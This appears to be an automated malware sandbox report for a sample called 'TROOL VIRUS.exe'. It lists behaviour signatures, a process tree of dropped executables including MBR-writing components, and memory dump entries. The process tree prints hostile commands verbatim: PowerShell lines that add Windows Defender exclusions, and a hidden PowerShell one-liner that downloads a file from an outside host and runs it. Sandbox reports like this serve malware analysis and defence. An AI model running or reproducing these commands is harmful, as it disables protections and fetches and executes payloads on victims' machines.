Analysis
- max time kernel
24s - max time network
20s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
17/04/2026, 11:30
Errors
General
- Target TROOL VIRUS.exe
- Size 1.1MB
- Sample260417-nmacpsft4z
- SHA256 42b97532cd86de122c2dde5d9eeeb176adbe4be9cb3b5afe94f0876ce8e0d3d9
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
- Disables Task Manager via registry modification
- Executes dropped EXE 10 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
- Drops file in System32 directory 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 15 IoCs
- Suspicious use of WriteProcessMemory 13 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\TROOL VIRUS.exe"C:\Users\Admin\AppData\Local\Temp\TROOL VIRUS.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\dllhost.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'dllhost.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp16BF.tmp.bat""2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Roaming\dllhost.exeC:\Users\Admin\AppData\Roaming\dllhost.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Roaming\dllhost.exeC:\Users\Admin\AppData\Roaming\dllhost.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\Virus.exe"C:\Users\Admin\AppData\Roaming\Virus.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/ab4icn.rar' -OutFile $env:TEMP\file.com; Start-Process -WindowStyle Hidden $env:TEMP\file.com"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Roaming\PEEKABOO.COM"C:\Users\Admin\AppData\Roaming\PEEKABOO.COM"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\MBR2.exe"C:\Users\Admin\AppData\Roaming\MBR2.exe"3⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\MatrixMBR.exe"C:\Windows\System32\MatrixMBR.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\GDI.exe"C:\Users\Admin\AppData\Local\Temp\GDI.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
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C:\Users\Admin\AppData\Local\Temp\MBR.exe"C:\Users\Admin\AppData\Local\Temp\MBR.exe"5⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Roaming\TROLL5.exe"C:\Users\Admin\AppData\Roaming\TROLL5.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
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C:\Users\Admin\AppData\Roaming\TROLL2.exe"C:\Users\Admin\AppData\Roaming\TROLL2.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
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C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004DC 0x00000000000004E01⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
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Downloads
dllhost.exe.log
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
GDI.exe
MBR.exe
__PSScriptPolicyTest_dlvjlwli.len.ps1
tmp16BF.tmp.bat
MBR2.exe
PEEKABOO.COM
TROLL2.exe
TROLL5.exe
Virus.exe
dllhost.exe
MatrixMBR.exe
memory/412-117-0x0000023E58010000-0x0000023E580BE000-memory.dmp
memory/1444-72-0x0000000000370000-0x0000000000380000-memory.dmp
memory/1704-25-0x00000184F9950000-0x00000184F9956000-memory.dmp
memory/1704-3-0x00000184E1160000-0x00000184E1170000-memory.dmp
memory/1704-4-0x00000184E1160000-0x00000184E1170000-memory.dmp
memory/1704-29-0x00000184E1050000-0x00000184E105C000-memory.dmp
memory/1704-30-0x00000184F95D0000-0x00000184F95E2000-memory.dmp
memory/1704-26-0x00000184F9960000-0x00000184F996A000-memory.dmp
memory/1704-11-0x00000184F9660000-0x00000184F9682000-memory.dmp
memory/1704-18-0x00000184F98E0000-0x00000184F98FC000-memory.dmp
memory/1704-19-0x00000184F99A0000-0x00000184F9A53000-memory.dmp
memory/1704-24-0x00000184F9920000-0x00000184F9928000-memory.dmp
memory/1704-23-0x00000184F9970000-0x00000184F998A000-memory.dmp
memory/1704-22-0x00000184F9910000-0x00000184F991A000-memory.dmp
memory/1704-20-0x00000184F9900000-0x00000184F990A000-memory.dmp
memory/1704-21-0x00000184F9930000-0x00000184F994C000-memory.dmp
memory/1720-118-0x00000000054B0000-0x0000000005A56000-memory.dmp
memory/1720-151-0x0000000004DB0000-0x0000000004E32000-memory.dmp
memory/1720-152-0x0000000006D80000-0x0000000006E02000-memory.dmp
memory/1720-120-0x0000000004ED0000-0x0000000004EDA000-memory.dmp
memory/1720-116-0x00000000002D0000-0x0000000000388000-memory.dmp
memory/1720-119-0x0000000004F00000-0x0000000004F92000-memory.dmp
memory/1760-153-0x0000000000400000-0x000000000041D000-memory.dmp
memory/2188-0-0x0000000000FC0000-0x00000000010E8000-memory.dmp
memory/2188-58-0x0000000001800000-0x000000000180C000-memory.dmp
memory/2188-1-0x000000001BD00000-0x000000001BD10000-memory.dmp
memory/2228-46-0x00000200D4DF0000-0x00000200D4DFC000-memory.dmp
memory/2228-47-0x00000200D4EB0000-0x00000200D4EC2000-memory.dmp
memory/2520-174-0x00000000001B0000-0x00000000001B8000-memory.dmp
memory/2872-134-0x0000000001470000-0x000000000147C000-memory.dmp
memory/2872-60-0x000000001BA10000-0x000000001BB08000-memory.dmp
memory/3912-78-0x0000000000DC0000-0x0000000000EAC000-memory.dmp
memory/3912-115-0x00000000015C0000-0x00000000015CC000-memory.dmp
memory/3912-79-0x000000001BD10000-0x000000001BDF4000-memory.dmp
memory/4712-149-0x0000000000E80000-0x0000000000E8C000-memory.dmp
memory/4712-97-0x0000000000630000-0x000000000066A000-memory.dmp
memory/4948-148-0x0000000000180000-0x00000000001C6000-memory.dmp
memory/4948-175-0x00000000009D0000-0x00000000009DC000-memory.dmp
memory/4988-133-0x00000154CC100000-0x00000154CC112000-memory.dmp
memory/4988-132-0x00000154B3B00000-0x00000154B3B0C000-memory.dmp